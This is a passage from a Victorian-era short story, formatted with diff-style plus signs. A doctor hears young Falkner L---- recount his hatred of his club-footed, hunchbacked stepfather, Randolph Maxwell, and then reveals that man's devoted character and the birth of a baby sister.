+"I started upon my feet, and was going hastily home, when it struck me
+that this man must have plucked me out of the water; so I turned to
+thank him. I had not yet set my eyes upon him. A short, squabby figure
+met my gaze, with a head of extraordinary size, round which hung dark
+elfish locks; his eyes were immensely large, and had a most melancholy
+expression, yet they were strongly tinctured with benevolence, and had
+a most searching quality,--something that seemed not of this earth. My
+reason still tottered on its throne: the delusion again darted across
+my mind that I was not in the same state of existence as formerly,
+and that this strange-looking being was one of the inhabitants of the
+new one, in which I found myself. I looked at him again curiously,
+inquiringly; and found that, in addition to his uncouth globular form,
+enormous head, and eyes with bushy brows, he had an excrescence on his
+shoulder known commonly by the name of '_a hump_,' and had one short,
+distorted _club-foot_!"
+
+As Mr. L---- told me this, he turned unusually pale, and a cold shudder
+passed like a blighting wind over him. I knew he had been subject to
+all sorts of fancies and wild conjectures, the offspring of a heated
+imagination; so I only coolly observed,
+
+"Oh! your preserver, then, it seems, was a poor hunchback! I wonder how
+he fished you out of the river?--how he had the strength to do it?"
+
+Mr. L---- answered me only with a most mysterious look, and another
+shudder. I took out my watch, and struck the hour; it had the desired
+effect, for he was sensitive in the highest degree.
+
+"I will not detain you long," said he, in a deprecating tone, "your
+time is precious;" and thus he continued:--"I stammered out my thanks
+for the service he had done me; but my knees knocked against each
+other, and my teeth chattered in my head. I was on the point of
+falling."
+
+"'You have caught a severe cold, I suppose,' exclaimed the man with the
+club-foot; 'but it might have been worse. Here, take another draught
+of this cordial, which has been the means already of doing you some
+service. Hesitate not; you will find instant relief; I composed it
+myself in the island of Ceylon, from the rarest spices, and have often
+proved its efficacy.' He approached me; he only reached my waist; and,
+what was most strange, I heard not the slightest sound as he moved
+his feet! Feet!--shall I call them _feet_?--he had but one; the other
+resembled the gnarled, disproportioned fragment of the root of an old
+oak-tree; it had a sort of cradle, on which it rested; it was tipped
+with brass, and of expensive workmanship. I could draw you the exact
+pattern of this shoe."
+
+"What matters the shape of a deformed man's shoe?" said I; "a little
+larger, or a little smaller, makes all the difference, I suppose,
+between them. They are very expert in manufacturing these _helps_ in
+Germany; we cannot approach them in such things. There is a man now at
+Hambro', who----"
+
+"This shoe was never made in Germany!" interrupted Mr. L----, with a
+deep sepulchral tone of voice; and again he shuddered, whilst a spasm
+shook his frame.
+
+"Very likely not," said I, with a tone of perfect nonchalance; "perhaps
+it was one of Sheldrake's shoes; but it is of little consequence:--you
+and I will never want one of such construction; that is one comfort,
+however."
+
+"No," he replied musingly, "not for ourselves: but in my family
+perchance it may be wanted. Tell me, sir, are these deformities
+hereditary?" and his eyes seemed to penetrate my inmost thoughts.
+
+"Did you mean the _shoe_ or the _foot_, L----?" I asked jestingly; "one
+is as likely as the other; but shall we never get beyond or above this
+piece of leather, or prunella? I declare we have been standing in this
+man's shoes half an hour at least; they pinch me to death."
+
+"I would not stand in that man's shoes for a single moment, to gain an
+entire world!" impressively pronounced poor L----, casting up his eyes
+to heaven.
+
+"Yet," said I, "one of them might fit you better than the other;
+for I suppose that brass-bitted piece of machinery must be rather
+uncomfortable to walk with. It would make, too, such a devil of a
+noise!" and I again had recourse to my watch.
+
+"It made no noise at all, I tell you!" vehemently cried out poor
+Falkner L----; "no satin slipper of a lady ever trod so silently. A
+rose-leaf dropping on the ground might have made a louder sound; but
+you do not credit me."
+
+"Pooh, pooh!" cried I; "the water was still in your ears; that was the
+reason you could not hear the clatter of the mailed shoe."
+
+"Has the water been in my ears these ten--nay, more,--eleven summers
+and winters since, nights and days?" inquired my companion petulantly.
+"No one can, no one will, understand me,--nay, I scarce can comprehend
+myself. That accursed cordial that he gave me!"
+
+"I should like to have a glass of it this moment, for I feel much
+exhausted," said I.
+
+"I beg your pardon, I ought to have thought of it myself;" and he rang
+the bell for a tray and wine. We partook of some potted meats. I drank
+a couple of glasses of Madeira, my friend one of water; the tray was
+removed, and I took up my hat.
+
+"Will you not hear me to the end?" inquired L----, fixing his dejected
+eyes upon me with an expression so appealing, so touching, that I could
+not resist them.
+
+"When will that _end_ arrive?" said I, playfully. "Did you drink the
+cordial that this little rotundity offered to you?"
+
+"Yes, I drained it to the bottom. So very delicious was its taste, so
+grateful to my exhausted frame and spirits, that I left not a drop in
+the globular vessel that contained it. I returned to him the flask."
+
+"'Thou art not yet cured of _thy selfishness_, young man,' said the
+man with the club-foot, in a severe tone which made his voice appear
+more harsh and grating even than before. 'Couldst thou not have spared
+a single drop out of that vessel for the next intended suicide I may
+chance to meet with? Fortunately I have been more provident than
+thou hast been considerate; I have not exhausted my whole mine of
+wealth upon thee. Thy mother, boy, has spoiled thy nature, I see, by
+indulgence. Go, and think of others as well as of thyself.' With this,
+the strange being I had been speaking with, shaking his coarse and wiry
+locks at me, trundled himself away,--for walking it did not seem; and I
+again perceived _that not the slightest sound came from his steps_!"
+
+"On entering my mother's small but neat abode, she threw her arms
+around my neck, and wept for joy at seeing me.
+
+"'My beloved Falkner! I am so glad you are returned! I have such
+delightful news to tell you;--but you are wet, pale, hungry too I doubt
+not; but that shall not be for long. I have plenty of every thing good
+in the house; food of every description, and ready for eating, too,--so
+we will begin: but change your clothes first, Falkner. Why, my dear,
+dear boy, you must have tumbled into the river,--perhaps in trying to
+catch fish for your mother's supper;--but we do not want fish now.'
+
+"After changing my wet apparel for the only other suit I had, and
+that none of the best, we sat down opposite to each other at the
+clean-scowered deal table,--the others had been parted with previously.
+We had no cloth,--they too had disappeared one by one long before; but
+hunger is not over fastidious. A cold fowl was placed upon the table:
+a tongue, and a bottle of wine, with plenty of fine wheaten bread,
+cheese, and butter. The word '_selfishness_' rung in my ears during
+dinner; I was resolved to pluck this abominable vice from my bosom even
+to the very roots. When we had ate and were filled, I began to question
+my mother how she had been able to procure these dainties.
+
+"'They were sent from the tavern, Falkner, by a _very old friend_ of
+mine,--one I have not seen for many, many years. He has taken our spare
+apartments at a price twenty times beyond their value, and has given
+me a month's rent in advance. He is gone now to order in furniture
+from C---- both for himself and us. We shall never know want again! My
+darling son will now be provided for, according to his birth;' and my
+mother shed tears of joy.
+
+"All this appeared to me exceedingly strange; but, then, it was
+delightful also. I complained, however, very soon of fatigue, when
+my tender mother insisted on having my bed warmed, on account of my
+'_tumble into the water_;' and, bringing me a glass of mulled spiced
+wine, she kissed my forehead, and departed.
+
+"I did not wake till noon. What a change had been effected ere that
+time, in our white-washed cottage! New handsome carpets were spread
+over the floors; chairs and tables placed in perfect order against the
+walls, and of the best quality. Room was left on one side our parlour
+for a grand piano, which my mother's friend would procure for her use
+from London. He had already ransacked a considerable market-town near
+us, and had contrived to get together tolerable things, but not of
+the quality he wished: he had gone now to London for the purpose of
+purchasing the piano, and many other luxuries he thought she needed;
+but would return in the course of a week, and take up his abode as----
+
+"'And who is this friend of yours, my dear mother?' I inquired. 'You
+say you have known him long. Why has he not sooner attended to your
+wants?'
+
+"'For a simple reason, Falkner,' she replied; 'he knew not of them; he
+is but just arrived in England.'
+
+"'Is he a _relation_, mother? I trust he is, and a very near one too,
+or----' and I hesitated. 'I am but a young adviser, yet I feel that
+a female,--a handsome one, too,--a descendant from the proud family
+of the Maxwells, ought not to be obliged to any one who is an alien
+in blood and name. I cannot suffer _my_ mother to be degraded. We may
+perish, but we will not be disgraced.'
+
+"My mother heard me patiently to the end; then, smiling sweetly on me,
+told me she admired me for my delicacy of feeling and regard for her
+honour, but that I need be under no apprehension on her account, as her
+dear and valued old friend was her very nearest relative; also, 'We
+are sisters' children, Falkner, and in childhood were most intimate.
+You should hear him on the organ, Falkner; he would rival St. Cecilia
+herself on that celestial instrument. He wishes now to know in what way
+he can benefit my son? Have you ever thought of a profession?'
+
+"'Thought of one! Oh, mother! Have I thought of anything else? Who
+can look at those bright orbs moving above us without longing to be
+acquainted with their relative positions, their bearings on each other.
+Let me be an astronomer, I conjure you, but let me not learn of any
+common master; let me understand the wonders of magnetic and electrical
+influence, the causes of universal gravitation; whether the infinite
+expanse above and around me be an entire void--a vacuum, or full of
+invisible ether, from which matter is formed the subtle essence which,
+when called together by its Maker's voice, thickens and hardens into
+worlds like this I tread on.'
+
+"I was now mounted on the hobby that had for the last three
+years--nay, more, from my very infancy,--carried me on its back,
+enjoying my day-dreams, and bearing me oft into dark labyrinths of
+abstruse speculations. This was the first time I had ever ventured to
+mount it, except in privacy; for there is a secret delight in keeping
+these same ambling nags, you know, from the sight of others. They
+are ready at all hours during the day, as well as night, saddled and
+bridled for our use."
+
+"And so is my Bucephalus, Mr. L----," said I, interrupting him. "I dare
+say the poor beast is wondering what his master is about this length of
+time."
+
+"I beg your pardon; I am a long time telling my story," said my
+companion; "but I wished to show you how very soon the favourite
+occupation of my mind, indulging in vain abstractions, put to flight
+all my prudence, my high sense of honour, and delicacy to my mother's
+fame. To have my ardent wishes gratified with regard to my studies made
+me forget that perhaps it might be improper to purchase them at such
+expense; but my _selfishness_ was not wholly departed from me.
+
+"My mother seemed perfectly astonished at hearing what was my desire
+for the future; but she wrote off that night to consult 'her friend,'
+whose answer was most propitious. 'He knew a very learned man in
+Germany, who could instruct me in all these matters, a Dr. Hettmann,
+a great philosopher and astronomer,--something, too, of an astrologer
+to boot,--who was certain to receive as a pupil any relative of Mr.
+Maxwell's; and, as for the means, he begged my mother not to consider
+about those, but to prepare my equipment, and he would himself take
+me over to the doctor, by way of Rotterdam, to Vienna, and settle
+every arrangement on my account.' And so the preparations were begun
+immediately.
+
+"With that inconsistency with which very young men generally act and
+think, it struck me forcibly that I could not, ought not, to leave my
+mother thus domesticated in the same house even with her near relation,
+and I absent; so, with a very high air of importance, conceit, as well
+as temper, I told her, 'I should _not_ go to Germany after all, for I
+should have enough to do to protect her against the evil designs of
+this accursed relative of hers, who I wished heartily was at the bottom
+of the Black Sea--the Red one was too good for him.'
+
+"'Do not alarm yourself, my dear Falkner,' said she meekly, and
+confusedly casting down her eyes; 'there shall be no impropriety on my
+part. You shall never have cause to blush for your mother. The morning
+previous to your setting off under the escort of my friend, I intend
+giving him my hand at C---- church, and trust you will be present at
+our nuptials.'
+
+"I have no doubt, sir, I jumped from my chair a foot and a half at
+hearing this proposition," said L----. "I asked her if I had heard
+aright? and felt that my lips quivered with emotion, and that a cold
+damp was on my brow.
+
+"'It is a long story, Falkner,' said my mother, 'and I have not the
+heart to enter into it now; suffice it to say I was engaged to my
+cousin, Mr. Maxwell, before I saw your father: _after_ I had seen him,
+I could not fulfil my prior engagement. With a generosity I could not
+copy, I was relieved from it by him, and he went abroad. But now,
+though late, I shall do my best to make my first affianced _lover_
+happy.' '_Lover!_' thought I. From my very soul I detested this
+abominable Mr. Maxwell. Once or twice I contemplated shooting him, as
+a kind of rival; at any rate to interpose my authority--to interdict
+the ceremony, to me so loathsome; but then again I thought of our
+former poverty, our threatened starvation, of my wretched prospects
+without the aid of this odious father-in-law. In the end, after a
+fearful tempest in my mind, and then a fit of gloom and ill-humour, I
+moodily made up my mind _not_ to prevent my mother's marriage with her
+cousin; especially as a box of Dollond's best mathematical instruments,
+with a quadrant and telescope, were sent down to me as a present from
+this hated Mr. Maxwell. 'I will endeavour to behave decently when he
+arrives, and give her to him, if I can, at the altar,' thought I.
+
+"Two days after, a plain travelling-carriage stopped at our garden
+gate; my heart beat wildly--I looked at my mother; she was calm and
+pale as usual, but her eyes were anxiously, deprecatingly, cast on me.
+I understood the appealing glances that came from them. 'Mother,' said
+I, 'fear not; I will behave magnificently!--you shall see how well I
+will treat him.' I heard the carriage-door slap to; I expected to hear
+the footsteps of the ardent, thriving bridegroom coming up the little
+gravel-walk leading from the gate to the parlour; but all was quiet.
+'Shall I go to meet him?' I inquired in the plenitude of my intended
+patronage. There was no need; _the intended bridegroom stood before
+me_,--the man to whom I was to give away my tender, my beloved, my
+beautiful mother. There, in all his native deformity, with his large
+head, enormous eyes, and dark elf looks, stood _the man with the
+club-foot_!
+
+"I will tell you the rest of my story another time--not now--not
+now!" and Falkner L---- rushed from the apartment. I left the house
+immediately.
+
+As I rode home to my own house, half a dozen miles distant, I pondered
+upon the narrative I had just heard. "Perchance," thought I, "the root
+of this malady is left; it may grow again. I fear he is not quite
+recovered. I will see him at any rate to-morrow."
+
+L---- fully expected me, and smiled as I entered; but he looked paler
+than usual, and his hand was feverish. I spoke cheerfully to him; told
+him some little gossip I had picked up by the way; read him a paragraph
+or two from a London paper--the crack article of the day; descanted on
+the weather, as all Englishmen do, and prophesied respecting it for
+the next four-and-twenty hours. It was his turn next. After a moment's
+silence, and a sort of struggle with his feelings, he took up the
+thread of his discourse, but not where he had left off.
+
+"You must have perceived, sir," began my young friend, "that I am of
+a wayward temper, and have been spoiled by overweening indulgence. My
+father--but he is in the grave; let me not disturb his ashes more than
+necessary;--I told you he had died of a broken heart. I am ashamed of
+the prevarication; his heart certainly was broken, but _his own hand_
+assisted the slower operations of nature. He would not brook delay; so
+ran a sword into that princely organ, and made it stop."
+
+So fearfully pale now looked poor Falkner, that I handed him a glass
+of wine standing ready on the table, and made him drink it, saying
+in as cheerful a tone as I could muster up, "Come, come, my dear
+L----, you have begun now at quite a different part of your story; we
+must not retrograde. I want to know what you said or did to this same
+extraordinary-looking being who wanted to be your father-in-law,--this
+_man with the club-foot_; what did you say to him?"
+
+"Astonishment chained up my tongue," answered L----, "and disgust to
+his person turned me sick. On the other hand, gratitude whispered to
+me that he had saved my life: and self-interest suggested that without
+his aid, however revolting his person might be, there was nothing left
+to us but penury and wretchedness. Suspended as between two attractive
+powers did I stand, my eyes wildly gazing on him, and my brain actually
+whirling amidst these conflicting emotions."
+
+"'Falkner,' said my mother, 'speak to me!--you alarm me greatly! Why
+do you look as if you saw a spirit? Randolph, has my son ever beheld
+you before this moment, for there is recognition in his gaze? He was
+an infant only when you saved his life thirteen years ago.' 'He has
+seen me only for two minutes,' croaked out that same harsh unmusical
+voice: 'he fell by some chance into the millstream the other day, and I
+helped him out again. To judge by his looks, he would not have done the
+same thing by me, if I had given him the same chance;' and the monster
+laughed.
+
+"I roused myself at length from the spell that bound me. 'Mother,'
+cried I vehemently, 'I must speak to you alone;' the man with the
+club-foot moved instantly and silently from the apartment.
+
+"'This cannot be,' I exclaimed passionately, 'that you can call this
+hideous wretch your husband! Nature herself must shudder only at the
+thought. Deformed, stunted, odious, revolting!--Mother, the very touch
+of his hand would be a profanation to the dead. My mother sighed.
+'And yet, Falkner, how much happier should I have been had I not been
+dazzled from my plighted faith by exterior advantages alone, and passed
+my life with one whose qualities are like the fairest diamond placed
+in a rude shagreen casket. My son, you have not yet looked upon the
+brilliancy _within_. Read that paper, Falkner, and be just.' My mother
+quitted the room as she spoke.
+
+"For the first time in my life I perceived a counteracting influence in
+opposition to my own in the breast of my tender mother, and the thought
+enraged me beyond all bounds. Again I meditated self-destruction; again
+gloomily conceived the thought that I would immolate this intruding
+wretch, and thus free us both from his persevering attentions. 'It
+shall be done,' I exclaimed aloud, clenching my hands together in a
+delirium of passion; 'I have learned a few secrets from Nature in my
+wanderings alone with her, and one of them I will prove this very
+evening on----'
+
+"'_Your benefactor, Falkner!_' interrupted the raven-like croaking of
+Randolph Maxwell, looking up into my face with those large melancholy
+eyes of his, and laying his hand on mine. I was taken unawares, and was
+surprised to find that this same hand of his was delicately white, and
+soft as that of a woman's. It had on a ring of surpassing brilliancy,
+which attracted my eyes even in the midst of this exciting scene, so
+boyish and unfixed at that time was my mind. Was it that the ring
+itself possessed some powerful spell over my wayward thoughts? or
+that the hand, looking like a _human one_,--nay, even beautiful in
+its kind,--made the owner of it appear at that moment like a being
+of the same nature as my own? By an impulse I could not control, I
+extended my own towards him, and I fancied I saw a moisture in those
+large melancholy eyes of his. 'Emma, my betrothed Emma,' called out
+that voice, made only for the society of crocodiles and croaking
+birds of prey, 'come hither, Emma, and behold thy Randolph and thy
+son _friends_.' She entered at the call, and pressed our united hands
+between her own. Then all the loathing and abhorrence of my nature
+against that inexplicable being returned, and with as much violence
+as before. But I covered it over with artifice, cloaked it with
+politeness, obscured it from observation by taciturnity and sullenness.
+Like a martyr I submitted to my fate; so, the next morning I
+accompanied this ill-matched pair to the church of C----, and saw them
+married, forcing myself to give away my almost idolised parent to a
+thing resembling an ourang-outang. How did I long to spurn the reptile
+I looked down upon, with my foot! to crush him to pieces as I would a
+bloated toad!
+
+"That very evening my new father-in-law and myself set off to Germany,
+my mother having previously put into my hands once more, that paper she
+had before wished me to read. I thrust it into my pocket. Her blessing
+to us both, as we seated ourselves in the carriage of the dwarf, still
+rings in my ears.
+
+"'Farewell, dear Randolph! Farewell, beloved son! For my sake,
+Randolph, be kind to this _unfortunate_ boy!' Thus did the dwarf
+answer: 'I swear to you by that faith which has been so powerfully
+proved, to be careful and indulgent to your son. Write to me, my----'
+he would have added '_beloved wife_;' but catching, I suppose, some
+strange and threatening expression in my eyes, he changed it into 'my
+dear and earliest friend!' I felt choking, but would not give way
+to the tenderness of nature;--I would not say, 'God bless you, best
+and kindest of mothers!' I threw myself back into the carriage, and,
+overpowered with various emotions, I wept like an infant. But be it
+remembered, sir, I was not then sixteen years old. At length a healing
+slumber closed up my senses. I know not how long it lasted, for when
+I awoke I was alone; the carriage was standing without horses in an
+inn-yard; my companion would not have me disturbed, and was gone
+himself into the house to give orders for our accommodation there that
+night.
+
+"My mother had used a word in parting that became to me as a constant
+goad; nay, it entered into my very soul. '_Her unfortunate boy!_'
+Why should she use the word _unfortunate_? I had been told from
+infancy, (and I firmly believed what had been so often asserted,)
+that I was eminently handsome. Both my parents had been distinguished
+for their great personal attractions, and I had been assured that I
+possessed in a still higher degree than they did the exterior gifts
+and graces of nature. Then, as to mental ones, had I not been born a
+poet, philosopher, everything that was great and noble?--for so my
+doting parents always said in my hearing. Why then did she now call
+me _unfortunate_, especially when she had provided for me so august a
+patron in her second husband? I have since fully known what she meant
+by this term _unfortunate_."
+
+Poor L---- at this time rose from his chair, and gazed up vacantly
+into the clouds. I knew what he was thinking of, but the subject was
+too delicate for me to touch on.
+
+He continued:
+
+"I forgot the paper I had thrust into my pocket when I left my mother.
+We travelled on together wrapt up each in our own thoughts, for I
+could not force myself to converse with him, although sometimes I was
+astonished at the depth and genius of his observations. They fell like
+brilliant gems around me, but I would not pick them up, or even admire
+their lustre. At length wearied, I suppose, with my obstinacy, he took
+a book out of the pocket of the carriage, and began to read. This I
+considered an indignity, an insult, and with marks of temper sought
+immediately for another. In this mood we reached the house of the
+celebrated _Scheele_, in Vienna, where it was agreed I should for some
+months reside, that I might learn something of chemistry before I began
+my astronomical researches.
+
+"Not a word was said to me on money matters; all this was arranged
+without my knowledge. I found a pocket-book on my toilet, containing
+most ample means for my private expenses, but it was unaccompanied with
+a single line. No leave was taken of me; but when I arose one morning
+I was told by the family of the Professor Scheele that 'my friend' had
+departed at an early hour, leaving me in charge of them, bespeaking
+their kindest attentions for me, and paying most liberally for me in
+advance.
+
+"'Tis _all beyond_ my comprehension," said Falkner L---- after a pause,
+and repeating to himself that line of Milton,
+
+    "And found no end, in wandering mazes lost."
+
+Then abruptly he continued thus:
+
+"I learned all sorts of splendid nonsense from Professor Scheele, for
+I know not its utility. I went from him to the renowned Berzelius,
+and laid in a stock of more. I studied astronomy under a relation of
+the famous Schiller, and alchemy from a nephew of Jang Stilling. But
+what availed all these acquisitions? One fixed idea was ever like an
+incubus upon my soul,--the thought of my mother's marriage with this
+club-footed hunchback. Years passed on; and though invited, implored,
+to return to England, yet I could not endure the thought of seeing her
+_the wife_ of so distorted a little wretch. She wrote to me ever 'of
+his nobleness, his generosity:' I felt the latter in the plenitude of
+his allowance to her son; but I was haunted perpetually by his image,
+hovering like an imp of darkness over a form moulded by the Graces. I
+hated my own country because it contained him, and yet I could think
+of nothing else. I became melancholy, morose, obstinate, taciturn,
+irritable to excess.
+
+"One day, in clearing out my writing-desk, a paper came into my hand
+that I had no recollection of; it turned out to be the very one my
+mother had put into my hands just before my departure. These were the
+words. It was a letter from 'the Man with the club-foot' to herself.
+
+"'To Emma, the beloved of my heart,--Think you that I am blind to my
+own imperfections?--that I am fool enough to suppose that this warped
+and twisted person of mine is a thing to be beloved, to be caressed? I
+have been conscious of my own deformities from a very child; and then
+it was that you, many years my junior, and accustomed to the sight of
+my exterior hideousness from your birth, cared not for it, but gave me
+the blessing of your companionship, and taught me to hope you could
+endure my presence through life. So did I delude myself; so did you
+guilelessly assist me in the delusion. I believed I should call you
+my own; you sanctioned this belief. But when the fascinating L----
+arrived, how soon did I perceive my fatal mistake! I saw it long before
+my Emma even suspected it, and--why should I pain you now by telling
+you what I then suffered? enough, you know how I acted;--the hunchback
+preferred your happiness to his own.
+
+"'Emma, it is unnecessary now to tell you how I employed myself during
+seventeen years, and how much I thought of those days when my beautiful
+cousin would gaze fondly in my eyes, and call me 'her dear Randolph!'
+Need I say what unexpected delight I experienced when once I was
+enabled to save her child, then a very cherub, and still beautiful
+as herself, from destruction? You know all this; and how, after this
+transaction, blessed with her gratitude, I departed for Ceylon. Was I
+not loaded also with the knowledge and the misery that she, my beloved
+one, was not happy? I could not stay to witness her regrets.
+
+"'I went to Ceylon. It was with a miser's feeling that I hoarded up
+riches in that island, which contains more riches than any other part
+of the world. I trafficked in diamonds; I tried experiments with
+spices; I found hidden treasure; and, as I amassed wealth almost beyond
+calculation, I constantly said to myself, 'All this is for her,--_she
+will need it_.'
+
+"'And is it not thine own, thou idol of my heart?--and is it not thy
+darling son's? But think not that Randolph Maxwell's love is tainted
+by vile selfishness. I know, I feel my _person_ must be abhorrent to
+my lovely cousin now--it is not like her L----'s; my mind she has some
+knowledge of. Let our marriage, then, beloved one! be only of the mind;
+let me live with you, gaze on you, hope that I disgust you not, and
+you will make your faithful cousin happy. I ask no more. Your child is
+mine; I have no other; he is the heir of my possessions, and herewith
+I make over to him and you, wealth enough to satisfy the most craving
+of our species;--everything, except a small pittance in case you should
+wish my absence, is yours. And now, Emma, we understand each other, and
+I think we ever shall. If your son----'
+
+"But here the paper was skilfully divided; my mother would not suffer
+me to know the opinion Randolph Maxwell had of her wayward Falkner.
+Oh! that I had read this letter before!--it would have saved me
+hundreds of hours of anguish; but, now that I had done so, I formed
+an instant resolution of returning to England and my mother. Having
+always the means by me, I put no curb to my inclinations; I never had
+done so in my life, and, to my mother's astonishment, arrived there
+without informing her she might expect me. Enchantment seemed to have
+been used, for a palace had risen up close to our former white-washed
+cottage. I forgot my mother had apprised me. By an expensive process,
+full-grown trees of every kind had been transplanted to the new abode;
+it was imbedded in the midst of costly firs and flowering shrubs. I
+flew to her and tenderly embraced her. I even inquired respectfully
+for _the man with the club-foot_. I began myself to honour him. My
+mother's countenance changed as I mentioned his name, and an unknown
+kind of dread came over me. 'Let me know the worst at once,' said I,
+'for,'--in short, I thought then, as now, that he had more than mortal
+agency.
+
+"'_The worst_ will soon be told you, Falkner,' said my mother sadly.
+'My cousin Randolph is dying: he has been in a declining state for the
+last two years. He eats nothing, never sleeps, and I shall soon lose
+a being of such exemplary worth, that I fear it will break my heart.
+It is impossible to describe to you the nobleness, the disinterested
+attachment of this creature, now at the very point of death. But here
+comes Dr. E----; he has been with my poor Randolph for the last two
+hours; he will tell us what he thinks of his malady;'--and you, sir,
+came into the room."
+
+"Do you remember this circumstance, doctor?" said Falkner to me, "do
+you remember coming in from the bedside of your patient to the room
+where my mother and myself were sitting,--do you remember how closely I
+questioned you?"
+
+"_I do_," answered I dryly, "and also what passed in the sick man's
+chamber. But proceed with your narration--I think you have not much
+more to say."
+
+"Is it then still a profound _secret_ what that man, or devil,--I
+know not which he is,--communicated to you at that time?" inquired
+poor L----, looking at me with eyes that seemed to search my very
+soul. "You told us, doctor, he was dying, and I thought so too myself
+afterwards; for I was prevailed on to visit him you both called _my
+benefactor_!--Oh God! oh God! what is the reason that he did not
+die?--that in a few days he--this hunchback--rose from that couch
+where we all expected he would close for ever those melancholy eyes?
+Instead of our carrying him to the churchyard, and burying him deep,
+deep there, he broke his plighted faith to my ill-used mother, and rose
+from his couch to _become the partner of hers_--her veritable husband!
+Was it not this accursed knowledge that utterly destroyed me? Did I not
+rave then, beat my breast, and become a madman? Did I not attempt the
+life of her who gave me birth? And was I not prevented from fulfilling
+my design by this same loathsome being, who bound my hands together
+with a strength as if he had been a giant; not the pigmy that he
+is?--He overcame me--I remember this, now, full well."
+
+"All this is nothing new to me," said I, "for I attended you all the
+time of your illness, _and you have been very bad indeed_. But what
+then? These clouds will pass away, and the sun, the brilliant star of
+your mind, will be much brighter than it has ever been. Can you bear
+Falkner L---- to hear what passed in the sick chamber of him you have
+called by such opprobrious names?"
+
+"Before I answer you, doctor, you must resolve me one question," and
+the brow of the young man darkened:--"How long have I been ill?" This
+was whispered rather than spoken.
+
+"Exactly ten months," I replied. "Is that your question?" and I smiled
+upon him, for I knew what was in his mind.
+
+"No," he answered; "it is only the scaffolding about it. It shall out,"
+cried poor L---- furiously, "and on its reply depends whether I will
+ever speak again to man or woman during my short remnant of life. It is
+a question to me of vital importance indeed!" I am reluctant to give
+it utterance, so much disgust do I feel with this whole affair; yet I
+have a burning desire _to know_, and I will be satisfied."
+
+"So had our first parents, L----," said I; "but they found the fruit
+of the tree of knowledge bitter and indigestive. _Wisdom_ is always
+preferable to _knowledge_; for it yields content, calmness, holiness.
+But what is your question? I think I know its purport--out with it."
+
+"Has my mother given birth to a child of that abominable man with the
+club-foot?" cried poor L---- almost inaudibly, with a lip quivering,
+an eye flaming; "is there _another_ little wretch upon this earth
+inheriting the deformities of that monster?--a creature doomed to walk
+in shoes that give no sound, and therefore of magic and unlawful make?"
+
+"What nonsense you talk, L----!" cried I. "Why, I took up those very
+shoes and examined them curiously, when I visited the sick chamber
+of their owner. I was struck with their strange make, and was much
+pleased with the invention, which is a German one; and I mean to write
+over for a pair or two of boots, made on this same construction, as I
+dislike creaking appendages to my feet of all things; for it sounds
+so _material_, you know. The soles of these are elastic and hollow,
+filled, moreover, with gas, which makes the wearer light-footed.
+We--that is, you and I--do not want such inventions to our _heads_, you
+know," I said a little archly; "we are light-headed enough without the
+assistance of German mechanists; but for their shoes we thank them."
+
+"Perhaps they have helped us a little to be light-headed too,
+notwithstanding," retorted L---- with a spirit I was delighted to see.
+"German philosophy may produce the same effects on the head as German
+boots on the feet. But you astonish me by what you say! Elastic hollow
+soles!--then there was no necromancy in them after all! But still you
+have not answered my question, doctor."
+
+"All in good time, L----; let me first put one category to you. What
+should make you have such a dreadful abhorrence to infants?--are they
+not the most interesting beings in the universe?--does not heaven lie
+about them then? As for inheriting a club-foot, that is all stuff. The
+children of Socrates did not inherit his snub nose, nor the mind either
+of him who chanced to have this _nez retroussé_."
+
+"What am I to infer from this preamble?" demanded L---- with a face as
+white as death.
+
+"Why, that you have as lovely a little sister as ever opened a pair of
+eyes upon this earthly scene--such a pair of eyes, too!--large, dark,
+magnificent eyes,--much handsomer than yours, L----, and they are not
+much to be found fault with. In short, my little god-daughter Emma is
+a perfect beauty, of about three weeks old,--and I am ready to enter
+the lists with any one who is bold enough to deny the full power of her
+infantine charms."
+
+There was a long pause after this.
+
+"And her feet?" inquired L----, gasping for breath, "has she--club
+feet?"
+
+"Pshaw! you never expected more than one; her father----" But he wildly
+interrupted me.
+
+"Oh! name him not!--name him not!--Deceiver!--liar!--hypocrite!--I knew
+it would come to this!--this is what has maddened me--I knew it would
+be so!"
+
+"Then you have been a seer and a prophet," replied I, "all along. Allow
+me to bow to your superior wisdom. I never dreamed of such a thing;
+yet would it not have been as it has turned out, but for my advice, my
+judgment."
+
+"What on earth could _you_ have had to do with this wretched business?"
+inquired L----. "Pray, pray, do not confuse me more than you can help."
+
+"I am going rather to enlighten you, L----," said I, "and must beg
+you seriously to attend now to me. You know that I was summoned to
+attend upon Mr. Randolph Maxwell, the first cousin of your mother.
+Well, I found him in almost a dying state,--weak, exhausted, dejected
+in the extreme, without a wish to live. I inquired into the symptoms
+of his malady. I could gain no information from his words; but those
+melancholy yet beautiful eyes of his gave me a suspicion. Having
+obtained a clue, and _not_ having the same contemptible and erroneous
+opinion of my patient as yourself, I arrived at length at the truth,
+and found that this '_demon_,' as you are pleased to call him, was
+falling a sacrifice to his high sense of honour, and delicacy to
+his idolised wife's feelings. He had adored her ever, and believed
+firmly, when he wrote that last epistle to her which you saw, that he
+was capable of keeping his word; that the society of his Emma as a
+friend and sister only would fully satisfy every desire of his heart.
+But in living with her, in receiving her smiles, and hearing himself
+called 'Randolph,' 'dear Randolph,' by lips so lovely and beloved, he
+found that he was human, and had human wishes to gratify. Thus, like
+Tantalus, did he languish and droop, yet without a hope, uttering a
+complaint, or making a single effort to draw her compassion, or even
+to let his sufferings be understood by her. By heavens! L----, that
+man, small as he is in stature, deformed and unpleasant to look upon,
+is one of the greatest heroes, ay, martyrs, let it be added,--I speak
+as a medical man,--that history has to boast of!"--I paused as I said
+this, and waited for some observation from my young friend; but he
+merely leaned his cheek upon his hand, and cast his eyes upon the
+ground.--"Shall I proceed?" asked I.
+
+"I can finish the narrative myself," said he: "you communicated the
+state of her friend, of course, to my mother, and she,--to save his
+life,----"
+
+"--Told me," cried I, "that she had now been so long accustomed to
+his presence, so familiarised with his uncouth appearance, that she
+scarcely noticed his deformities; that his attentions, his delicacy,
+his devotedness to her for so long a time, had taken from her all
+repugnance to his person; and that she could truly say, 'she loved
+him even as he was.'" L---- groaned aloud. "Oh!" continued I, "I
+wish I could describe to you the feelings of this man with the
+_club-foot_,--this being so despised, so loathed by you,--when I
+repeated to him, word for word, what his adored wife had imparted to
+me,--when the delightful conviction stole into his mind that there
+was one woman in the world, and that one the most valued and the most
+lovely, who could look upon him, dwarf, hunchback as he was, with eyes
+of returning affection,--that he was loved in some measure with a
+return.--After all, L----, what is there in the outside?"
+
+"Is my mother happy?" at length inquired L---- with a burning cheek,
+but a softening tone of voice.
+
+"The only drawback on her felicity is from the waywardness, the morbid
+temper, and the cruel prejudices of her only son," said I. "What
